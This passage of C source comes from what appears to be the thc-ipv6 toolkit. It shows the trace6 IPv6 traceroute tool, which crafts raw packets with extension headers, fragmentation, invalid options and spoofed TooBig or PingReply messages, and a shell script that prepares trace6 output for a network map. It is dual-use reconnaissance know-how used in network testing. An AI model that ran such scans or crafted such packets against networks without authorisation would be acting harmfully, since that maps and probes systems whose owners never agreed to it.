MAX_SEND) + 2) unsigned char * position[POS_SIZE]; unsigned char * remark[POS_SIZE]; unsigned int rmtu[POS_SIZE]; unsigned char buf2[4]; unsigned short int baseport = 1200; unsigned int pid = 0; unsigned int mtu = 0; unsigned int orig_mtu = 0; int udp = 0, offset = 48, buf_len = 16, tunnel = 0, do_alert = 0, do_reply = 0, do_toobig = 0, do_frag = 0, do_dst = 0, do_dst2 = 0; int up_to = MAX_SEND, complete = 0, type = 0, rawmode = 0, finaldst = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-abdtu] [-s src6] interface targetaddress [port]\n\n", prg); printf("Options:\n"); printf(" -a insert a hop-by-hop header with router alert option.\n"); printf(" -D insert a destination extension header\n"); printf( " -E insert a destination extension header with an invalid " "option\n"); printf(" -F insert a one-shot fragmentation header\n"); printf( " -b instead of an ICMP6 Ping, use TooBig (you will not see the " "target)\n"); printf( " -B instead of an ICMP6 Ping, use PingReply (you will not see " "the target)\n"); printf(" -d resolves the IPv6 addresses to DNS.\n"); printf(" -t enables tunnel detection\n"); printf(" -u use UDP instead of TCP if a port is supplied\n"); printf(" -r raw mode (for adapters networks that have no ethernet)\n"); printf(" -s src6 specifies the source IPv6 address\n"); printf("Maximum hop reach: %d\n\n", INCREASE * (SENDS - 1) + MAX_SEND); printf("A basic but very fast traceroute6 program.\n"); printf( "If no port is specified, ICMP6 Ping requests are used, otherwise TCP " "SYN\n"); printf( "packets to the specified port. Options D, E and F can be use multiple " "times.\n"); exit(-1); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int i, ok = 0, len = header->caplen, add, add2; unsigned char * ptr = (unsigned char *)data, *ptr2; unsigned short int *si; unsigned int * ui, new_mtu = 0; unsigned char pos = 0, pos2; if (!rawmode) { ptr += 14; len -= 14; } if (do_hdr_size) { ptr += (do_hdr_size - 14); len -= (do_hdr_size - 14); if ((ptr[0] & 240) != 0x60) return; } add = do_alert + do_frag + do_dst; add2 = do_alert + do_dst; if (debug) thc_dump_data(ptr, len, "Received Packet"); complete = 0; if (tunnel && ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_TOOBIG && len >= 100) { new_mtu = (ptr[44] << 24) + (ptr[45] << 16) + (ptr[46] << 8) + ptr[47]; if (new_mtu < mtu) { if (type != 2) { pos = ptr[94 + 8 * (add)]; pos2 = ptr[93 + 8 * (add)]; if (pos != pos2 || pos > up_to) { pos = ptr[94 + 8 * (add2)]; pos2 = ptr[93 + 8 * (add2)]; } } else { pos = ptr[101 + 0x30 + 8 * (add + do_toobig - 1)]; pos2 = ptr[100 + 0x30 + 8 * (add + do_toobig - 1)]; } if (pos == pos2 && pos <= up_to) { rmtu[pos - 1] = new_mtu; mtu = new_mtu; buf_len = mtu - offset; } } } if (type != 1) { if (ptr[6] != NXT_ICMP6) return; if (ptr[40] == ICMP6_PINGREPLY) { ptr2 = ptr + 48; if (memcmp(ptr + 48, buf2, 4) != 0) // from a different process? return; pos = ptr[46]; if (position[pos] != NULL && pos <= up_to && pos == ptr[45]) { if (position[pos] != NULL) { position[pos] = thc_ipv62notation(ptr + 8); remark[pos] = strdup("\t[ping reply received]"); } position[pos + 1] = NULL; finaldst = 1; } } else { // now for the error icmp types if (type == 0) ptr2 = ptr + 96 + 8 * (add); else ptr2 = ptr + 104 + 0x30 + 8 * (add); if (memcmp(ptr2, buf2, 4) != 0) // from a different process? return; if (ptr[40] == ICMP6_TTLEXEED && ptr[41] == 0 && len >= 100) { if (type == 0) { pos = ptr[94 + 8 * (add)]; pos2 = ptr[93 + 8 * (add)]; if (pos != pos2 || pos > up_to) { pos = ptr[94 + 8 * (add2)]; pos2 = ptr[93 + 8 * (add2)]; } // printf("Exceed from %s\n", thc_ipv62notation(ptr + 8)); // printf(" POS1 is : 94 + 8*(add) = [%d] <= %d ?\n", pos, up_to); // printf(" POS2 is : 93 + 8*(add) = [%d] <= %d ?\n", pos2, up_to); } else { pos = ptr[101 + 0x30 + 8 * (add + do_toobig - 1)]; pos2 = ptr[100 + 0x30 + 8 * (add + do_toobig - 1)]; } // printf("%d == %d < %d\n", pos, pos2, up_to); if (pos == pos2 && pos <= up_to) position[pos] = thc_ipv62notation(ptr + 8); } if (ptr[40] == ICMP6_UNREACH) { if (type == 0) { pos = ptr[94 + 8 * (add)]; pos2 = ptr[93 + 8 * (add)]; if (pos != pos2 || pos > up_to) { pos = ptr[94 + 8 * (add2)]; pos2 = ptr[93 + 8 * (add2)]; } } else { pos = ptr[101 + 0x30 + 8 * (add + do_toobig - 1)]; pos2 = ptr[100 + 0x30 + 8 * (add + do_toobig - 1)]; } if (pos == pos2 && pos <= up_to) { if (position[pos] != NULL) { position[pos] = thc_ipv62notation(ptr + 8); remark[pos] = strdup("\t[unreachable message received]"); } // if (position[pos + 1][0] == '?') position[pos + 1] = NULL; } } if (do_dst2 == 1 && ptr[40] == ICMP6_PARAMPROB) { if (type == 0) { pos = ptr[94 + 8 * (add)]; pos2 = ptr[93 + 8 * (add)]; if (pos != pos2 || pos > up_to) { pos = ptr[94 + 8 * (add2)]; pos2 = ptr[93 + 8 * (add2)]; } } else { pos = ptr[101 + 0x30 + 8 * (add + do_toobig - 1)]; pos2 = ptr[100 + 0x30 + 8 * (add + do_toobig - 1)]; } // thc_dump_data(ptr, len, "pkt"); // printf("type: %d, pos %d, pos2 %d\n", type, pos, pos2); if (pos == pos2 && pos <= up_to) { if (position[pos] != NULL) { position[pos] = thc_ipv62notation(ptr + 8); remark[pos] = strdup("\t[parameter problem received]"); } // if (position[pos + 1][0] == '?') position[pos + 1] = NULL; finaldst = 1; } } } } else { if (ptr[6] != NXT_ICMP6 && ((udp == 0 && ptr[6] != NXT_TCP) || (udp == 1 && ptr[6] != NXT_UDP))) return; if (ptr[6] == NXT_TCP) { si = (unsigned short int *)&ptr[42]; pos = htons((*si % 65536)) - baseport; ui = (unsigned int *)&ptr[48]; if ((pid + 1) != htonl(*ui)) return; if (position[pos] != NULL && pos <= up_to) { position[pos] = thc_ipv62notation(ptr + 8); i = ptr[53] & 6; switch (i) { case 2: remark[pos] = strdup("\t[TCP SYN-ACK reply received]"); break; case 4: remark[pos] = strdup("\t[TCP RST reply received]"); break; default: remark[pos] = strdup("\t[TCP unknown reply received]"); } position[pos + 1] = NULL; finaldst = 1; } } if (ptr[6] == NXT_UDP) { si = (unsigned short int *)&ptr[42]; pos = htons((*si % 65536)) - baseport; if (position[pos] != NULL && pos <= up_to) { position[pos] = thc_ipv62notation(ptr + 8); remark[pos] = strdup("\t[UDP reply received]"); position[pos + 1] = NULL; finaldst = 1; } } if (ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_TTLEXEED && ptr[41] == 0 && len >= 100) { si = (unsigned short int *)&ptr[88 + 8 * (add)]; ui = (unsigned int *)&ptr[92 + 8 * (add)]; pos = htons((*si % 65536)) - baseport; if (pid != htonl(*ui)) return; if (pos <= up_to) position[pos] = thc_ipv62notation(ptr + 8); } if (ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_UNREACH && len >= 100) { si = (unsigned short int *)&ptr[88 + 8 * (add)]; ui = (unsigned int *)&ptr[92 + 8 * (add)]; pos = htons((*si % 65536)) - baseport; if (pid != htonl(*ui)) return; if (pos <= up_to) { if (position[pos] != NULL) { position[pos] = thc_ipv62notation(ptr + 8); if (udp && ptr[41] == 4) { remark[pos] = strdup("\t[port unreachable message received]"); position[pos + 1] = NULL; finaldst = 1; } else remark[pos] = strdup("\t[unreachable message received]"); } // if (position[pos + 1][0] == '?') position[pos + 1] = NULL; } } } for (i = 1; i <= up_to && position[i] != NULL; i++) { if (position[i][0] != '?') ok++; if (position[ok + 1] == NULL) complete = 1; } } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt2 = NULL, foomac[6]; unsigned char *dst6, *src6 = NULL, foo6[16], *mac = NULL, string[64] = "ip6 and dst "; int pkt_len = 0, pkt2_len = 0, i, k, m, dport = 0, resolve = 0, notreached = 0; unsigned int j; struct hostent *he; unsigned char * interface, *srcmac, *buf = NULL, dummy[4] = "???", text[120], buf3[6]; time_t passed; pcap_t * p; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "abBdtrus:FDEX")) >= 0) { switch (i) { case 'd': resolve = 1; break; case 'X': debug = 1; break; case 'a': do_alert = 1; break; case 'b': do_toobig++; type = 2; break; case 'B': do_reply++; type = 2; break; case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 't': tunnel = 1; break; case 'u': udp = 1; break; case 's': src6 = thc_resolve6(optarg); break; case 'F': do_frag++; break; case 'E': do_dst++; do_dst2 = 1; break; case 'D': do_dst++; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); interface = argv[optind]; if ((dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: can not resolve %s\n", argv[optind + 1]); exit(-1); } if (src6 == NULL) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); srcmac = thc_get_own_mac(interface); up_to = MAX_SEND; if (do_reply) do_toobig = 0; if (argc - optind >= 3 && argv[optind + 2] != NULL) { if (type) { fprintf(stderr, "Error: you can not use option -b and specify a target TCP port " "together\n"); exit(-1); } type = 1; dport = atoi(argv[optind + 2]); if (dport < 0 || dport > 65535) { fprintf(stderr, "Error: port (3rd option) is invalid: %s\n", argv[optind + 2]); exit(-1); } } if (src6 == NULL || srcmac == NULL) { fprintf(stderr, "Error: interface not valid: %s!\n", interface); exit(-1); } if (rawmode == 0 && (mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[optind + 1]); exit(-1); } strcat(string, thc_ipv62notation(src6)); for (i = 0; i < POS_SIZE; i++) { position[i] = dummy; remark[i] = strdup(""); rmtu[i] = 0; } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((mtu = thc_get_mtu(interface)) < 1280) { fprintf(stderr, "Error: invalid MTU (< 1280) on %s: %d\n", interface, mtu); exit(-1); } if ((buf = malloc(mtu + 128)) == NULL) { perror("malloc"); exit(-1); } memset(buf, 0, mtu); if (tunnel) { if (type == 1) offset += 12; if (do_hdr_size) offset += do_hdr_size; orig_mtu = mtu; buf_len = mtu - offset; if (do_alert) buf_len -= 8; } if (do_alert) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 5; buf3[1] = 2; } while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; if (type == 1) { baseport += getpid() % 60000; pid = (getpid() << 16) + getpid(); if (tunnel == 0) buf_len = 0; } else { buf2[0] = getpid() / 256; buf2[1] = getpid() % 256; buf2[2] = buf[0]; buf2[3] = buf[1]; for (m = 0; m < (mtu / 4); m++) memcpy(buf + (m * 4), buf2, 4); } for (k = 0; k < SENDS; k++) { if (complete == 0) { for (i = 1; i <= up_to; i++) { if (position[i] != NULL && position[i][0] == '?') { if (type != 1) memset((char *)&j, i % 256, 4); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, i, 0, 0, 0, 0)) == NULL) return -1; if (do_alert) if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf3, 6) < 0) return -1; if (type != 2) { if (do_frag) for (m = 0; m < do_frag; m++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + m) < 0) return -1; if (do_dst) { memset(buf3, 0, 6); if (do_dst2) { buf3[0] = NXT_INVALID; buf3[1] = 1; } for (m = 0; m < do_dst; m++) if (thc_add_hdr_dst(pkt, &pkt_len, buf3, 6) < 0) return -1; } } if (type == 0) { if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, j, (unsigned char *)buf, buf_len, 0) < 0) return -1; } else { if (type == 2) { memset(foomac, 0xff, sizeof(foomac)); memcpy(foo6, src6, 16); m = 1500 - 40 - 8; if (foo6[8]) foo6[8] = 0; else foo6[8] = 1; if ((pkt2 = thc_create_ipv6_extended( interface, 0, &pkt2_len, dst6, foo6, i, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_PINGREQUEST, 0, j, (unsigned char *)buf, m, 0) < 0) return -1; thc_generate_pkt(interface, foomac, foomac, pkt2, &pkt2_len); ipv6 = (thc_ipv6_hdr *)pkt2; for (m = 0; m < do_toobig + do_frag; m++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid()) < 0) return -1; if (do_dst) { memset(buf3, 0, 6); for (m = 0; m < do_dst; m++) if (thc_add_hdr_dst(pkt, &pkt_len, buf3, 6) < 0) return -1; } if (do_hdr_size) m = do_hdr_size; else m = 14; if (do_reply) { if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREPLY, 0, 1480, (unsigned char *)ipv6->pkt + m, 1280 - 40 - 8 - 8, 0) < 0) return -1; } else if (thc_add_icmp6(pkt, &pkt_len, ICMP6_TOOBIG, 0, 1480, (unsigned char *)ipv6->pkt + m, 1280 - 40 - 8 - 8, 0) < 0) return -1; pkt2 = thc_destroy_packet(pkt2); } else if (udp) { if (thc_add_udp(pkt, &pkt_len, baseport + i, dport, 0, buf_len > 0 ? buf : NULL, buf_len) < 0) return -1; } else if (thc_add_tcp(pkt, &pkt_len, baseport + i, dport, pid, 0, TCP_SYN, 5760, 0, NULL, 0, buf_len > 0 ? buf : NULL, buf_len) < 0) return -1; } if (thc_generate_and_send_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } pkt = thc_destroy_packet(pkt); usleep(1000); } else if (position[i] == NULL) up_to = i - 1; } } passed = time(NULL); while (passed + k >= time(NULL) && complete == 0) thc_pcap_check(p, (char *)check_packets, NULL); if (complete == 0 && finaldst == 0 && k + 1 < SENDS && up_to >= MAX_SEND && position[up_to] != NULL /*&& position[up_to][0] != '?' */) { if (debug) printf("DEBUG: increasing range from %d to %d\n", up_to, up_to + INCREASE); up_to += INCREASE; } if (debug) printf("DEBUG: run %d of %d, complete %d, range %d\n", k, SENDS, complete, up_to); } thc_pcap_close(p); j = 0; for (i = 1; i <= up_to && position[i] != NULL; i++) if (position[i][0] == '?') j++; else j = 0; if (j > 0) { up_to -= (j - 1); position[up_to] = strdup("!!!"); notreached = 1; } j = 0; for (i = 1; i <= up_to && position[i] != NULL; i++) if (position[i][0] != '?') j++; if (j == 0) { printf("Trace6 for %s unsuccessful, no packets received.\n", argv[optind + 1]); } else { if (tunnel) { snprintf(text, sizeof(text), " with starting MTU %d", orig_mtu); mtu = orig_mtu; } else text[0] = 0; printf("Trace6 for %s (%s)%s:\n", argv[optind + 1], thc_ipv62notation(dst6), text); j = 0; for (i = 0; i <= up_to; i++) if (position[i] == NULL && j == -1) j = i; if (j > 0) up_to = j; for (i = 1; i <= up_to && position[i] != NULL; i++) { if (tunnel && rmtu[i] > 0 && mtu > rmtu[i]) { if (mtu - rmtu[i] < 8) snprintf(text, sizeof(text), " - new MTU %d", rmtu[i]); else if (mtu - rmtu[i] == 20) snprintf(text, sizeof(text), " - new MTU %d - 6in4 tunnel endpoint", rmtu[i]); else if (mtu - rmtu[i] == 28 || mtu - rmtu[i] == 36 || mtu - rmtu[i] == 8 || mtu - rmtu[i] == 16) snprintf(text, sizeof(text), " - new MTU %d - PPP or Teredo tunnel endpoint", rmtu[i]); else if (mtu - rmtu[i] == 64) snprintf(text, sizeof(text), " - new MTU %d - PPTP tunnel endpoint", rmtu[i]); else if (mtu - rmtu[i] == 80) snprintf(text, sizeof(text), " - new MTU %d - AYIYA tunnel endpoint", rmtu[i]); else if (mtu - rmtu[i] > 80) snprintf(text, sizeof(text), " - new MTU %d", rmtu[i]); else snprintf(text, sizeof(text), " - new MTU %d", rmtu[i]); mtu = rmtu[i]; } else text[0] = 0; if (resolve && position[i][0] != '?' && position[i][0] != '!') { // printf("foo %p\n", position[i]); he = gethostbyaddr(thc_resolve6(position[i]), 16, AF_INET6); printf(" %2d: %s (%s)%s%s\n", i, position[i], he != NULL ? he->h_name : "", remark[i], text); } else printf(" %2d: %s%s%s\n", i, position[i], remark[i], text); } printf("\n"); } if (notreached) { if (do_toobig) printf( "With the -b TooBig option, the destination will not send a reply\n"); else printf("The destination seems to be filtered.\n"); } return 0; } thc-ipv6-3.8/trace62list.sh000077500000000000000000000015371376121567700155520ustar00rootroot00000000000000#!/bin/bash REMOVE="tr X X" test "$1" = "-r" && { REMOVE='grep -v "?"' ; shift ; } test -z "$1" -o '!' -e "$1" && { echo "Syntax: $0 trace6_output_file [skip-cnt] > foo.out" echo "Prepares a trace6 output file for the network topology map generation tool" echo "(create_network_map.sh). If skip-cnt is defined, the amount of initial hops are skipped" # echo "If the -r option is defined, all ??? entries are removed" exit 1 } SKIP="" FILE="$1" test -n "$2" && SKIP=$2 { test -z "$SKIP" && egrep '^ *[0-9]+: ' "$FILE" test -z "$SKIP" || { LINES=`egrep '^ *[0-9]+: ' "$FILE" | wc -l` DUMP=`expr $LINES - $SKIP` test "$DUMP" -gt 0 && egrep '^ *[0-9]+: ' "$FILE" | tail -n $DUMP } } | tr '\t' ' ' | sed 's/ *\[.*//' | awk '{print$2" "$3}' | sed 's/ ()//' | tr '\n' '#' | sed 's/[??? #]*??? #$/#/' | sed 's/!!! *#$/#/' | tr '#' '\n'